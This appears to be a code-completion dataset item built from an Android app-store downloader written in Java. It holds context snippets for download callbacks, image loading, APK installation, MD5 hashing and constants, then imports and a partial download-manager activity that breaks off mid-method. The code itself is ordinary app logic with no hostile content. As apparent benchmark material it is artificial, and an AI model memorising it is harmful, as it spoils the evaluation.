{\r\n\t\t\t\tcus = (int) (current - cu);\r\n\t\t\t\tcu = (int) current;// 得到上一秒的进度\r\n\t\t\t}\r\n\t\t\tString m = Formatter.formatFileSize(mContext, cus) + \"/s\";\r\n\t\t\t// 获得当前进度百分比\r\n\t\t\tint pc = (int) ((current * 100) / count);\r\n\r\n\t\t\tif (view != null) {\r\n\r\n\t\t\t\tString currentSize = Formatter\r\n\t\t\t\t\t\t.formatFileSize(mContext, current);\r\n\t\t\t\tcurrent_progress.setText(pc + \"%\");\r\n\t\t\t\tdownloadFileItem.setPercentage(pc + \"%\");// 设置百分比\r\n\t\t\t\tdownloadFileItem.setProgressCount(count);// 设置总大小进度条中使用\r\n\t\t\t\tdownloadFileItem.setCurrentProgress(current);\r\n\t\t\t\tString tsize = Formatter.formatFileSize(mContext, count);// 总大小\r\n\t\t\t\tdownloadFileItem.setFileSize(tsize);// 设置总大小字符串\r\n\t\t\t\ttotalSize.setText(currentSize + \"/\" + tsize);\r\n\t\t\t\tkb.setText(m);\r\n\t\t\t\tif (kb.getVisibility() == View.INVISIBLE) {\r\n\t\t\t\t\tkb.setVisibility(View.VISIBLE);\r\n\t\t\t\t}\r\n\t\t\t\tp.setMax((int) count);\r\n\t\t\t\tp.setProgress((int) current);\r\n\t\t\t\t// 如果按钮被隐藏了.将其显示\r\n\t\t\t\tif (stop_download_bt.getVisibility() == View.INVISIBLE) {\r\n\t\t\t\t\tstop_download_bt.setVisibility(View.VISIBLE);\r\n\t\t\t\t\tstop_download_bt.setText(\"\");\r\n\t\t\t\t\tstop_download_bt\r\n\t\t\t\t\t\t\t.setBackgroundResource(R.drawable.button_stop);\r\n\t\t\t\t}\r\n\t\t\t\t// 将数据保存到数据库中\r\n\t\t\t\tdownloadFileItem.setDownloadState(DOWNLOAD_STATE_DOWNLOADING);\r\n\t\t\t\tdb.updateValuesByJavaBean(TABNAME_DOWNLOADTASK, \"fileName=?\",\r\n\t\t\t\t\t\tnew String[] { downloadFileItem.getFileName() },\r\n\t\t\t\t\t\tdownloadFileItem);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * (非 Javadoc) Title: onSuccess Description:\r\n\t\t * \r\n\t\t * @param t\r\n\t\t * @see net.tsz.afinal.http.AjaxCallBack#onSuccess(java.lang.Object)\r\n\t\t */\r\n\t\t@Override\r\n\t\tpublic void onSuccess(File t) {\r\n\t\t\tSystem.out.println(downloadFileItem.getFileName() + \":下载完成\");\r\n\r\n\t\t\tnew Thread(addRankrunnable).start();\r\n\r\n\t\t\tToast.makeText(mContext, downloadFileItem.getFileName() + \":下载完成\",\r\n\t\t\t\t\tToast.LENGTH_SHORT).show();\r\n\t\t\tif (view != null) {\r\n\t\t\t\tkb.setVisibility(View.INVISIBLE);\r\n\t\t\t\tcurrent_progress.setText(\"下载完成\");\r\n\t\t\t\tstop_download_bt\r\n\t\t\t\t\t\t.setBackgroundResource(R.drawable.button_finish);\r\n\t\t\t\tstop_download_bt.setOnClickListener(new MyOnClick(\r\n\t\t\t\t\t\tDOWNLOAD_STATE_SUCCESS, downloadFileItem,\r\n\t\t\t\t\t\tstop_download_bt));\r\n\t\t\t}\r\n\r\n\t\t\t// 更新数据库的状态为下载完成\r\n\t\t\tdownloadFileItem.setDownloadState(DOWNLOAD_STATE_SUCCESS);\r\n\t\t\tdb.updateValuesByJavaBean(TABNAME_DOWNLOADTASK, \"fileName=?\",\r\n\t\t\t\t\tnew String[] { downloadFileItem.getFileName() },\r\n\t\t\t\t\tdownloadFileItem);\r\n\t\t\t// 发送下载完成的广播\r\n\t\t\tIntent i = new Intent();\r\n\t\t\ti.putExtra(DOWNLOAD_TYPE, DOWNLOAD_STATE_SUCCESS);\r\n\t\t\ti.putExtra(DOWNLOAD_ITEM_NAME, downloadFileItem.getFileName());\r\n\t\t\ti.setAction(DOWNLOAD_TYPE);\r\n\t\t\t// MyApplcation app = (MyApplcation)\r\n\t\t\t// mContext.getApplicationContext();\r\n\t\t\t// app.setDownloadSuccess(down);\r\n\t\t\tSYSCS.setSuccessDownloadFileItem(downloadFileItem);\r\n\t\t\tmContext.sendBroadcast(i);\r\n\r\n\t\t\tToast.makeText(mContext, downloadFileItem.getFileName() + \":开始安装!\",\r\n\t\t\t\t\tToast.LENGTH_SHORT).show();\r\n\t\t\tString filePath = downLoadItem.getFilePath();\r\n\t\t\tif (filePath != null) {\r\n\t\t\t\tAppMarketUtils.install(mContext, filePath);\r\n\t\t\t}\r\n\t\t\tsuper.onSuccess(t);\r\n\t\t}\r\n\r\n\t\tRunnable addRankrunnable = new Runnable() {\r\n\t\t\t@Override\r\n\t\t\tpublic void run() {\r\n\t\t\t\tString uri = SYSCS.CONFCS.GETRANK;\r\n\t\t\t\tString reqparams = \"?appId=\" + downloadFileItem.getFileId();\r\n\t\t\t\ttry {\r\n\t\t\t\t\tString contentData = HttpClientUtil.getRequest(uri,\r\n\t\t\t\t\t\t\treqparams);\r\n\t\t\t\t\tSystem.out.println(\"下载量增加成功 \" + contentData);\r\n\t\t\t\t} catch (InterruptedException e1) {\r\n\t\t\t\t\te1.printStackTrace();\r\n\t\t\t\t} catch (ExecutionException e1) {\r\n\t\t\t\t\te1.printStackTrace();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t};\r\n\r\n\t\t/**\r\n\t\t * (非 Javadoc) Title: onFailure Description:\r\n\t\t * \r\n\t\t * @param t\r\n\t\t * \r\n\t\t * @param strMsg\r\n\t\t * @see net.tsz.afinal.http.AjaxCallBack#onFailure(java.lang.Throwable,\r\n\t\t * java.lang.String)\r\n\t\t */\r\n\t\t@Override\r\n\t\tpublic void onFailure(Throwable t, String strMsg) {\r\n\r\n\t\t\tSystem.out.println(\"下载失败:\" + strMsg);\r\n\t\t\t// 更新数据库的状态为下载失败\r\n\t\t\tif (TextUtils.isEmpty(downloadFileItem.getFileSize())) {\r\n\t\t\t\t// 下载失败的情况设置总大小为0.0B,如果因为网络原因导致.没有执行OnLoading方法\r\n\t\t\t\tdownloadFileItem.setFileSize(\"0.0B\");\r\n\t\t\t}\r\n\r\n\t\t\tif (!TextUtils.isEmpty(strMsg) && strMsg.contains(\"416\")) {\r\n\t\t\t\t// 发送下载失败的广播\r\n\t\t\t\t// 如果是已经下载完成了,发送一个下载完成的广播\r\n\t\t\t\tdownloadFileItem.setDownloadState(DOWNLOAD_STATE_SUCCESS);\r\n\t\t\t\tdb.updateValuesByJavaBean(TABNAME_DOWNLOADTASK, \"fileName=?\",\r\n\t\t\t\t\t\tnew String[] { downloadFileItem.getFileName() },\r\n\t\t\t\t\t\tdownloadFileItem);\r\n\t\t\t\tIntent i = new Intent();\r\n\t\t\t\ti.putExtra(DOWNLOAD_TYPE, DOWNLOAD_STATE_SUCCESS);\r\n\t\t\t\ti.putExtra(DOWNLOAD_ITEM_NAME, downloadFileItem.getFileName());\r\n\t\t\t\ti.setAction(DOWNLOAD_TYPE);\r\n\t\t\t\t// MyApplcation app = (MyApplcation) mContext\r\n\t\t\t\t// .getApplicationContext();\r\n\t\t\t\t// app.setDownloadSuccess(down);\r\n\t\t\t\tSYSCS.setSuccessDownloadFileItem(downloadFileItem);\r\n\t\t\t\tmContext.sendBroadcast(i);\r\n\t\t\t\t// 当文件已经下载完成时.又重复对此任务进行了下载操作.FinalHttp不会带着完整的文件头去请求服务器.这样会缠身搞一个416的错误\r\n\t\t\t\t// response status error code:416\r\n\t\t\t\t// 通过判断失败原因中是否包含416来决定文件是否是已经下载完成的状态\r\n\t\t\t\t// 也可以通过 :判断要下载的文件是否存在.得到文件的总长度与请求服务器返回的count长度\r\n\t\t\t\t// .就是在onLoading中回调的count总长度进行比较.如果本地文件大于等于服务器文件的总厂说明这个文件已经下载完成.\r\n\t\t\t\t// 将按钮图片显示并设置状态为已经播放的状态\r\n\t\t\t\tString m = Formatter.formatFileSize(mContext, new File(\r\n\t\t\t\t\t\tdownloadFileItem.getFilePath()).length());\r\n\t\t\t\tif (view != null) {\r\n\r\n\t\t\t\t\tkb.setVisibility(View.INVISIBLE);\r\n\t\t\t\t\t// 得到文件的总长度\r\n\t\t\t\t\ttotalSize.setText(m);\r\n\t\t\t\t\tcurrent_progress.setText(\"下载完成\");\r\n\t\t\t\t\t// 将进度条的值设为满状态\r\n\t\t\t\t\tp.setMax(100);\r\n\t\t\t\t\tp.setProgress(100);\r\n\r\n\t\t\t\t\tstop_download_bt.setVisibility(View.VISIBLE);\r\n\t\t\t\t\tstop_download_bt\r\n\t\t\t\t\t\t\t.setBackgroundResource(R.drawable.button_finish);\r\n\t\t\t\t\tstop_download_bt.setOnClickListener(new MyOnClick(\r\n\t\t\t\t\t\t\tDOWNLOAD_STATE_SUCCESS, downloadFileItem,\r\n\t\t\t\t\t\t\tstop_download_bt));\r\n\t\t\t\t}\r\n\r\n\t\t\t} else {\r\n\t\t\t\tif (view != null) {\r\n\t\t\t\t\tdownloadFileItem.setDownloadState(DOWNLOAD_STATE_FAIL);\r\n\t\t\t\t\tdb.updateValuesByJavaBean(TABNAME_DOWNLOADTASK,\r\n\t\t\t\t\t\t\t\"fileName=?\",\r\n\t\t\t\t\t\t\tnew String[] { downloadFileItem.getFileName() },\r\n\t\t\t\t\t\t\tdownloadFileItem);\r\n\t\t\t\t\t// 隐藏KB/S\r\n\t\t\t\t\tkb.setVisibility(View.INVISIBLE);\r\n\t\t\t\t\tif (stop_download_bt.getVisibility() == View.INVISIBLE) {\r\n\t\t\t\t\t\tstop_download_bt.setVisibility(View.VISIBLE);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tstop_download_bt\r\n\t\t\t\t\t\t\t.setBackgroundResource(R.drawable.button_bg_retry);\r\n\t\t\t\t\t// stop_download_bt.setText(\"重试\");\r\n\t\t\t\t\tstop_download_bt.setTextColor(Color.parseColor(\"#333333\"));\r\n\t\t\t\t\tcurrent_progress.setTextColor(Color.parseColor(\"#f39801\"));\r\n\t\t\t\t\tcurrent_progress.setText(\"下载失败\");\r\n\t\t\t\t\tMyOnClick c = new MyOnClick(DOWNLOAD_STATE_FAIL,\r\n\t\t\t\t\t\t\tdownloadFileItem, stop_download_bt);\r\n\t\t\t\t\tc.setCurrent_progress(current_progress);\r\n\t\t\t\t\tstop_download_bt.setOnClickListener(c);\r\n\t\t\t\t\t// 发送下载失败的广播\r\n\t\t\t\t\tIntent i = new Intent();\r\n\t\t\t\t\ti.putExtra(DOWNLOAD_TYPE, DOWNLOAD_STATE_FAIL);\r\n\t\t\t\t\ti.putExtra(DOWNLOAD_ITEM_NAME,\r\n\t\t\t\t\t\t\tdownloadFileItem.getFileName());\r\n\t\t\t\t\ti.setAction(DOWNLOAD_TYPE);\r\n\t\t\t\t\t// MyApplcation app = (MyApplcation) mContext\r\n\t\t\t\t\t// .getApplicationContext();\r\n\t\t\t\t\t// app.setDownloadSuccess(down);\r\n\t\t\t\t\tSYSCS.setSuccessDownloadFileItem(downloadFileItem);\r\n\t\t\t\t\tmContext.sendBroadcast(i);\r\n\r\n\t\t\t\t}\r\n\t\t\t\tToast.makeText(\r\n\t\t\t\t\t\tmContext,\r\n\t\t\t\t\t\tdownloadFileItem.getFileName()\r\n\t\t\t\t\t\t\t\t+ \":下载失败!可能是网络超时或内存卡空间不足\", Toast.LENGTH_SHORT)\r\n\t\t\t\t\t\t.show();\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r", "public interface OnDeleteTaskListener {\r\n\t// 当点击删除时执行的回调\r\n\tpublic void onDelete(View taskView, DownloadFileItem down);\r\n}\r", "public class ImageLoader {\r\n\r\n\t/**\r\n\t * @param imageUrl \"http://mdmss.foxconn.com:8090/appmarket\"\r\n\t * @param cacheDir \"mnt/sdcard/picture/\"\r\n\t * @param fileName \"abcdefg.png\"\r\n\t * @param zoomW\t\t300\t\r\n\t * @param zoomY 450\r\n\t * @param roundPx 0.8f\r\n\t * @return\r\n\t * @throws Exception\r\n\t */\r\n\tpublic static Uri getImage2(String imageUrl, String cacheDir,\r\n\t\t\tString fileName, int zoomW, int zoomY, float roundPx)\r\n\t\t\tthrows Exception {\r\n\r\n\t\tFile localFile = new File(cacheDir, fileName);\r\n//System.out.println(\"File cache : -------------->>>> \"+ cacheDir);\r\n//System.out.println(\"File name : -------------->>>> \"+ fileName);\r\n\t\tif (localFile.exists()) {\r\n\t\t\treturn Uri.fromFile(localFile);\r\n\t\t} else {\r\n\t\t\tHttpURLConnection conn = (HttpURLConnection) new URL(imageUrl)\r\n\t\t\t\t\t.openConnection();\r\n\t\t\tconn.setConnectTimeout(5000);\r\n\t\t\tconn.setRequestMethod(\"GET\");\r\n\t\t\tif (conn.getResponseCode() == 200) {\r\n\t\t\t\tInputStream inputStream = conn.getInputStream();\r\n\t\t\t\tBitmap bitmap = BitmapFactory.decodeStream(inputStream);\r\n\t\t\t\tif (null == bitmap) {\r\n\t\t\t\t\treturn null;\r\n\t\t\t\t}\r\n\t\t\t\tBitmap zoomedMap = BitmapCompressTools.zoomBitmap(bitmap,\r\n\t\t\t\t\t\tzoomW, zoomY);\r\n\t\t\t\tbitmap = null;\r\n\t\t\t\tString filePath = BitmapCompressTools.saveBitmap(\r\n\t\t\t\t\t\tzoomedMap, cacheDir, fileName);\r\n\t\t\t\tif (null != filePath && filePath.length() >= 4) {\r\n\t\t\t\t\tzoomedMap =null;\r\n\t\t\t\t\treturn Uri.fromFile(new File(filePath));\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\treturn null;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\r\n\t/**\r\n\t * @param imageUrl \"http://mdmss.foxconn.com:8090/appmarket\"\r\n\t * @param cacheDir \"mnt/sdcard/picture/\"\r\n\t * @param fileName \"abcdefg.png\"\r\n\t * @param zoomW\t\t300\t\r\n\t * @param zoomY 450\r\n\t * @param roundPx 0.8f\r\n\t * @return\r\n\t * @throws Exception\r\n\t */\r\n\tpublic static Uri getImage(String imageUrl, String cacheDir,\r\n\t\t\tString fileName, int zoomW, int zoomY, float roundPx)\r\n\t\t\tthrows Exception {\r\n\r\n\t\tFile localFile = new File(cacheDir, fileName);\r\n\t\tif (localFile.exists()) {\r\n\t\t\treturn Uri.fromFile(localFile);\r\n\t\t} else {\r\n\t\t\tHttpURLConnection conn = (HttpURLConnection) new URL(imageUrl)\r\n\t\t\t\t\t.openConnection();\r\n\t\t\tconn.setConnectTimeout(5000);\r\n\t\t\tconn.setRequestMethod(\"GET\");\r\n\t\t\tif (conn.getResponseCode() == 200) {\r\n\t\t\t\tInputStream inputStream = conn.getInputStream();\r\n\t\t\t\tBitmap bitmap = BitmapFactory.decodeStream(inputStream);\r\n\t\t\t\tif (null == bitmap) {\r\n\t\t\t\t\treturn null;\r\n\t\t\t\t}\r\n\t\t\t\tString filePath = BitmapCompressTools.saveBitmap(\r\n\t\t\t\t\t\tbitmap, cacheDir, fileName);\r\n\t\t\t\tif (null != filePath && filePath.length() >= 1) {\r\n\t\t\t\t\tbitmap =null;\r\n\t\t\t\t\treturn Uri.fromFile(new File(filePath));\r\n\t\t\t\t}\r\n\r\n\t\t\t}else{\r\n\t\t\t\t\r\n\t\t\t\treturn null;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\r\n\t/**\r\n\t * @param imageUrl \"http://mdmss.foxconn.com:8090/appmarket\"\r\n\t * @param cacheDir \"mnt/sdcard/picture/\"\r\n\t * @param fileName \"abcdefg.png\"\r\n\t * @param zoomW\t\t300\t\r\n\t * @param zoomY 450\r\n\t * @param roundPx 0.8f\r\n\t * @return\r\n\t * @throws Exception\r\n\t */\r\n\tpublic static Uri getScreenshot(String imageUrl, String cacheDir,\r\n\t\t\tString fileName, int zoomW, int zoomY) throws Exception {\r\n\r\n\t\tFile localFile = new File(cacheDir, fileName);\r\n//System.out.println(\"File cache : -------------->>>> \"+ cacheDir);\r\n//System.out.println(\"File name : -------------->>>> \"+ fileName);\r\n\t\tif (localFile.exists()) {\r\n\t\t\treturn Uri.fromFile(localFile);\r\n\t\t} else {\r\n\t\t\tHttpURLConnection conn = (HttpURLConnection) new URL(imageUrl)\r\n\t\t\t\t\t.openConnection();\r\n\t\t\tconn.setConnectTimeout(5000);\r\n\t\t\tconn.setRequestMethod(\"GET\");\r\n\t\t\tif (conn.getResponseCode() == 200) {\r\n\t\t\t\tInputStream inputStream = conn.getInputStream();\r\n\t\t\t\tBitmap bitmap = BitmapFactory.decodeStream(inputStream);\r\n\t\t\t\tif (null == bitmap) {\r\n\t\t\t\t\treturn null;\r\n\t\t\t\t}\r\n\t\t\t\tBitmap zoomedMap = BitmapCompressTools.zoomBitmap(bitmap,\r\n\t\t\t\t\t\tzoomW, zoomY);\r\n\t\t\t\tbitmap = null;\r\n\t\t\t\tString filePath = BitmapCompressTools.saveBitmap(\r\n\t\t\t\t\t\tzoomedMap, cacheDir, fileName);\r\n\t\t\t\tif (null != filePath && filePath.length() >= 4) {\r\n\t\t\t\t\tzoomedMap =null;\r\n\t\t\t\t\treturn Uri.fromFile(new File(filePath));\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\treturn null;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\t\r\n\t\r\n\r\n\tpublic static List<Drawable> getDrawablesFromUrls(List<String> imageUrls){\r\n\t\t\tList<Drawable> drawables = new ArrayList<Drawable>();\r\n\t\t\tfor (String imgurl : imageUrls) {\r\n\t\t\t\tDrawable drawable = getDrawableFromUrl(imgurl);\r\n\t\t\t\tif(drawable!=null){\r\n\t\t\t\t\tdrawables.add(drawable);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\treturn drawables;\r\n\t}\r\n\t\r\n\t/**\r\n * 通过url参数获得调用的图片资源\r\n * \r\n * @param url\r\n * @return Drawable\r\n */\r\n public static Drawable getDrawableFromUrl(String url) {\r\n InputStream in = null;\r\n URLConnection con = null;\r\n try {\r\n // 打开连接\r\n con = new URL(url).openConnection();\r\n in = con.getInputStream();\r\n return Drawable.createFromStream(in, \"image\");\r\n } catch (MalformedURLException e) {\r\n e.printStackTrace();\r\n } catch (IOException e) {\r\n e.printStackTrace();\r\n } finally {\r\n if (in != null) {\r\n try {\r\n in.close();\r\n } catch (IOException e) {\r\n e.printStackTrace();\r\n }\r\n }\r\n }\r\n return null;\r\n }\r\n /**\r\n\t * \r\n\t * @param bm\r\n\t * \r\n\t * @param imgPath\r\n\t * \r\n\t * \r\n\t * @return\r\n\t */\r\n\tpublic static String saveToLocal(Bitmap bm , String imgPath ) {\r\n//\t\tString path = Environment.getExternalStorageDirectory().getPath()+\"/abc.jpg\";\r\n\t\ttry {\r\n\t\t\tFileOutputStream fos = new FileOutputStream(imgPath);\r\n\t\t\tbm.compress(CompressFormat.PNG, 100, fos);\r\n\t\t\tfos.flush();\r\n\t\t\tfos.close();\r\n\t\t} catch (FileNotFoundException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t\treturn null;\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t\treturn null;\r\n\t\t}\r\n\t\treturn imgPath;\r\n\t}\r\n\r\n \r\n}\r", "public class AppMarketUtils {\r\n\r\n\t/**\r\n\t * replaceSpace in the url\r\n\t * \r\n\t * @param url\r\n\t * @return\r\n\t */\r\n\tpublic static String replaceSpace(String url) {\r\n\t\treturn url.replaceAll(\" \", \"%20\");\r\n\t}\r\n\r\n\tpublic static String encodeingUrl(String url) {\r\n\t\ttry {\r\n\t\t\treturn URLEncoder.encode(url, \"utf-8\");\r\n\t\t} catch (UnsupportedEncodingException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\treturn replaceSpace(url);\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * get file name form url \r\n\t * @param url\r\n\t * @return\r\n\t */\r\n\tpublic static String getFileNameFromURL(String url) {\r\n\t\tint length = url.length();\r\n\t\tint lastIndex = 0;\r\n\t\tif (url.contains(\"/\")) {\r\n\t\t\tlastIndex = url.lastIndexOf(\"/\");\r\n\t\t} else if (url.contains(\"\\\"\")) {\r\n\t\t\tlastIndex = url.lastIndexOf(\"\\\"\");\r\n\t\t}\r\n\t\treturn url.substring(lastIndex, length - lastIndex);\r\n\t}\r\n\t\r\n\r\n\r\n\tstatic final DecimalFormat DOUBLE_DECIMAL_FORMAT = new DecimalFormat(\"0.##\");\r\n\r\n\tpublic static final int MB_2_BYTE = 1024 * 1024;\r\n\tpublic static final int KB_2_BYTE = 1024;\r\n\r\n\t/**\r\n\t * @param size\r\n\t * @return\r\n\t */\r\n\tpublic static CharSequence getAppSize(long size) {\r\n\t\r\n\t\tsize*=1024;\r\n\t\t//just to suitable for kb from db \r\n\t\tif (size <= 0) {\r\n\t\t\treturn \"0M\";\r\n\t\t}\r\n\r\n\t\tif (size >= MB_2_BYTE) {\r\n\t\t\treturn new StringBuilder(16).append(\r\n\t\t\t\t\tDOUBLE_DECIMAL_FORMAT.format((double) size / MB_2_BYTE))\r\n\t\t\t\t\t.append(\"M\");\r\n\t\t} else if (size >= KB_2_BYTE) {\r\n\t\t\treturn new StringBuilder(16).append(\r\n\t\t\t\t\tDOUBLE_DECIMAL_FORMAT.format((double) size / KB_2_BYTE))\r\n\t\t\t\t\t.append(\"K\");\r\n\t\t} else {\r\n\t\t\treturn size + \"B\";\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * getNotiPercent\r\n\t * \r\n\t * @param progress\r\n\t * @param max\r\n\t * @return\r\n\t */\r\n\tpublic static Integer getNotiPercent(long progress, long max) {\r\n\t\tint rate = 0;\r\n\t\tif (progress <= 0 || max <= 0) {\r\n\t\t\trate = 0;\r\n\t\t} else if (progress > max) {\r\n\t\t\trate = 100;\r\n\t\t} else {\r\n\t\t\trate = (int) ((double) progress / max * 100);\r\n\t\t}\r\n\t\treturn Integer.valueOf(new StringBuilder(16).append(rate).toString());\r\n\t}\r\n\r\n\t/**\r\n\t * install app\r\n\t * \r\n\t * @param context\r\n\t * @param filePath\r\n\t * @return whether apk exist\r\n\t */\r\n\tpublic static boolean install(Context context, String filePath) {\r\n\t\tIntent i = new Intent(Intent.ACTION_VIEW);\r\n\t\tFile file = new File(filePath);\r\n\t\tif (file != null && file.length() > 0 && file.exists() && file.isFile()) {\r\n\t\t\ti.setDataAndType(Uri.parse(\"file://\" + filePath),\r\n\t\t\t\t\t\"application/vnd.android.package-archive\");\r\n\t\t\ti.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\r\n\t\t\tcontext.startActivity(i);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\r\n}\r", "public interface ContentValue {\r\n\r\n\tString SERVICE_TYPE_NAME = \"servicetype\"; // 通过Intent获取启动服务类型的名字\r\n\tString DOWNLOAD_TAG_BY_INTENT = \"downloadurl\"; // 通过Intent获取url的名字\r\n\tString CACHE_DIR = \"cacheDir\"; // 配置文件中,存储目录名称\r\n\tint START_DOWNLOAD_MOVIE = 99; // 启动下载电影模块\r\n\tint ERROR_CODE = -1; // 出错\r\n\tint START_DOWNLOAD_LOADITEM = 10; // 从数据库中装载下载任务\r\n\tint START_DOWNLOAD_ALLSUSPEND = 11; // 将数据库中所有的下载状态设置为 暂停\r\n\tString DOWNLOAD_TYPE = \"downloadType\";\r\n\tString TABNAME_DOWNLOADTASK = \"downloadtask\";// 操作的表名\r\n\tString DBNAME = \"download.db\";// 下载状态\r\n\tString DOWNLOAD_ITEM_NAME = \"downloaditem_name\";\r\n\tint DOWNLOAD_STATE_DOWNLOADING = 2; // 正在下载\r\n\tint DOWNLOAD_DB = 13;\r\n\tint DOWNLOAD_STATE_SUSPEND = 3; // 暂停\r\n\tint DOWNLOAD_STATE_WATTING = 4; // 等待\r\n\tint DOWNLOAD_STATE_FAIL = 5; // 下载失败\r\n\tint DOWNLOAD_STATE_SUCCESS = 6; // 下载成功\r\n\tint DOWNLOAD_STATE_START = 7;// 开始下载\r\n\tint DOWNLOAD_STATE_DELETE = 8; // 任务被删除\r\n\tint DOWNLOAD_STATE_CLEAR = 9; // 清除所有任务\r\n\tint DOWNLOAD_STATE_NONE = 0; // 未下载的状态\r\n\tint DOWNLOAD_STATE_EXCLOUDDOWNLOAD = 12;// 如果当前状态不在三个之内的下载队列中 讲自身设置为\"等待中\"\r\n}\r", "public class MD5 {\r\n\r\n\tpublic static String getMD5(String content) {\r\n\t\ttry {\r\n\t\t\tMessageDigest digest = MessageDigest.getInstance(\"MD5\");\r\n\r\n\t\t\tdigest.update(content.getBytes());\r\n\t\t\treturn getHashString(digest);\r\n\r\n\t\t} catch (NoSuchAlgorithmException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\r\n\tprivate static String getHashString(MessageDigest digest) {\r\n\r\n\t\tStringBuilder builder = new StringBuilder();\r\n\r\n\t\tfor (byte b : digest.digest()) {\r\n\t\t\tbuilder.append(Integer.toHexString((b >> 4) & 0Xf));\r\n\r\n\t\t\tbuilder.append(Integer.toHexString(b & 0Xf));\r\n\r\n\t\t}\r\n\r\n\t\treturn builder.toString();\r\n\t}\r\n\r\n}\r", "public class ReceiverValue {\r\n\tpublic static final String PACKAGENAME = \"packagename\";\r\n\t\r\n\tpublic static class FrgBoutiques{\r\n\t\tpublic static final String ACTION = \"FrgBoutiques\";\r\n\t}\r\n\t\r\n\tpublic static class FrgNewest{\r\n\t\tpublic static final String ACTION = \"FrgNewest\";\r\n\t}\r\n\t\r\n\tpublic static class AtyCategory{\r\n\t\tpublic static final String ACTION = \"AtyCategory\";\r\n\t}\r\n\t\r\n\tpublic static class AtyDetails{\r\n\t\tpublic static final String ACTION = \"AtyDetails\";\r\n\t}\r\n}\r" ]
import java.io.File; import java.util.List; import net.tsz.afinal.FinalDBChen; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.net.Uri; import android.os.Bundle; import android.text.format.Formatter; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.TextView; import com.samuel.downloader.bean.CompareableLocalAppInfo; import com.samuel.downloader.bean.DownloadFileItem; import com.samuel.downloader.dao.PakageInfoService; import com.samuel.downloader.download.DownloadFile; import com.samuel.downloader.download.DownloadTask; import com.samuel.downloader.download.DownloadTask.OnDeleteTaskListener; import com.samuel.downloader.tools.ImageLoader; import com.samuel.downloader.utils.AppMarketUtils; import com.samuel.downloader.utils.ContentValue; import com.samuel.downloader.utils.MD5; import com.samuel.downloader.utils.ReceiverValue; import com.samuel.downloader.utils.SYSCS; import com.samuel.downloader.utils.ToastUtils;
public void run() { imageView.setImageURI(imageUri); } }); } } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.download_manager_activity); allDownloadTaskLayout = (LinearLayout) findViewById(R.id.download_listview_lin); // 注册广播 IntentFilter myIntentFilter = new IntentFilter(); myIntentFilter.addAction("download"); registerReceiver(mBroadcastReceiver, myIntentFilter); // 注册安装AppReceiver IntentFilter appIntentFilter = new IntentFilter(); appIntentFilter.addAction(ContentValue.DOWNLOAD_TYPE); registerReceiver(appChangeReceiver, appIntentFilter); current_content_title = (TextView) this .findViewById(R.id.current_content_title); current_content_title_back = (TextView) this .findViewById(R.id.current_content_title_back); current_content_title.setText("下载管理"); current_content_title.setTextColor(getResources().getColor( R.color.webapp_black)); current_content_title_back.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { AtyDownloadMgr.this.finish(); } }); initValue(); } private void initValue() { // 遍历数据库得到已有的数据 db = new FinalDBChen(getApplicationContext(), getDatabasePath(DBNAME) .getAbsolutePath()); // /查询所有已存在数据 ds = db.findItemsByWhereAndWhereValue(null, null, DownloadFileItem.class, TABNAME_DOWNLOADTASK, null); List<CompareableLocalAppInfo> compareableLocalAppInfos = PakageInfoService .getCompareableLocalAppInfos(AtyDownloadMgr.this); System.out.println("数据库中已经存在的数据;" + ds.size()); if (ds.size() != 0) { // 如果数据库中有数据 // 直接初始化 for (DownloadFileItem downloadMovieItem : ds) { // // //遍历所有下载对象 // boolean isDel = false; // for (CompareableLocalAppInfo compareableLocalAppInfo : // compareableLocalAppInfos) { // if (TextFormater // .isEmpty(downloadMovieItem.getPackagename())) { // continue; // } else { // if (downloadMovieItem.getPackagename() // .equalsIgnoreCase( // compareableLocalAppInfo // .getPackageName())) { // // 删除本地文件 // File df = new File(downloadMovieItem.getFilePath()); // if (df.exists()) { // // 如果文件存在 // df.delete(); // } // // // 删除数据库中的内容 // new FinalDBChen(getApplicationContext(), DBNAME) // .deleteItem(TABNAME_DOWNLOADTASK, // "fileName=?", // new String[] { downloadMovieItem // .getFileName() }); // isDel = true; // continue; // } // } // } // if(isDel == true){ // continue; // } View view = getLayoutInflater().inflate( R.layout.list_download_item, null); allDownloadTaskLayout.addView(view); ImageView headImg = (ImageView) view .findViewById(R.id.movie_headimage); String imageurl = downloadMovieItem.getFileIcon(); if (imageurl == null || imageurl == "" || imageurl.length() <= 4) { headImg.setImageDrawable(getResources().getDrawable( R.drawable.app_icon_tbd)); } else { LoadImageThread loadImageThread = new LoadImageThread( headImg, imageurl); loadImageThread.start(); } ProgressBar progressBar = (ProgressBar) view .findViewById(R.id.download_progressBar);// 得到进度条 TextView t = (TextView) view.findViewById(R.id.movie_name_item); t.setText(downloadMovieItem.getFileName());// 设置名字 // 设置当前进度百分比 String stsize = downloadMovieItem.getFileSize();// 设置当前进度,和总大小 if (stsize.contains("B") || stsize.contains("K") || stsize.contains("M") || stsize.contains("G")) { } else {
